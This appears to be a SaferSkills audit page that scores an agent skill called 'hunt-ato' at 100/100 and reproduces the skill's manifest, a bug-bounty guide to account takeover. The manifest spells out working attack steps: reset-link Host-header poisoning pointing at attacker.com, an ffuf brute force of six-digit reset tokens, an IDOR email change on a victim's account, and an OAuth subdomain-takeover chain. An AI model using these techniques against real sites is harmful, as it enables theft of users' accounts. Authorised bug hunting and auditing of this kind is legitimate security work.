hunt-ato — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited hunt-ato (Agent Skill) and scored it 100/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 0 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 0 flagged
Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
POST /forgot-password
Host: attacker.com # or X-Forwarded-Host: attacker.com
[email protected]
# Reset link sent to attacker.com/reset?token=XXXXGET /reset-password?token=ABC123
→ page loads: <script src="https://analytics.com/track.js">
→ Referer: https://target.com/reset-password?token=ABC123 sent to analytics# Brute force 6-digit numeric token
ffuf -u "https://target.com/reset?token=FUZZ" \
-w <(seq -w 000000 999999) -fc 404 -t 50Request token → wait 2 hours → still works? = bug
Request token #1 → request token #2 → use token #1 → still works? = bugPUT /api/user/email
{"new_email": "[email protected]"} # no current_password requiredPATCH /api/users/{victim_uid} with attacker session + victim UID + {"email":"[email protected]"} → trigger password reset → reset email arrives at attacker → full ATO with zero victim interaction (Critical path).redirect_uri validation accepts subdomain match (*.target.com) + hunt-subdomain reveals a dangling CNAME on staging.target.com → claim that subdomain on Heroku/S3 → host an OAuth callback there → victim clicks crafted authorize URL → code lands on attacker subdomain → exchange for token → ATO.POST /forgot-password with Host: attacker.com (or X-Forwarded-Host) → reset email constructs link from request Host header → link points to attacker.com/reset?token=XXXX → victim clicks → token leaked to attacker → ATO.X-Forwarded-Host, X-Host, X-HTTP-Host-Override, dual-Host smuggling), token-entropy payloads (sequential numeric, time-based predictable), and the always-rejected list for "rate-limit on /forgot-password" reports.~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.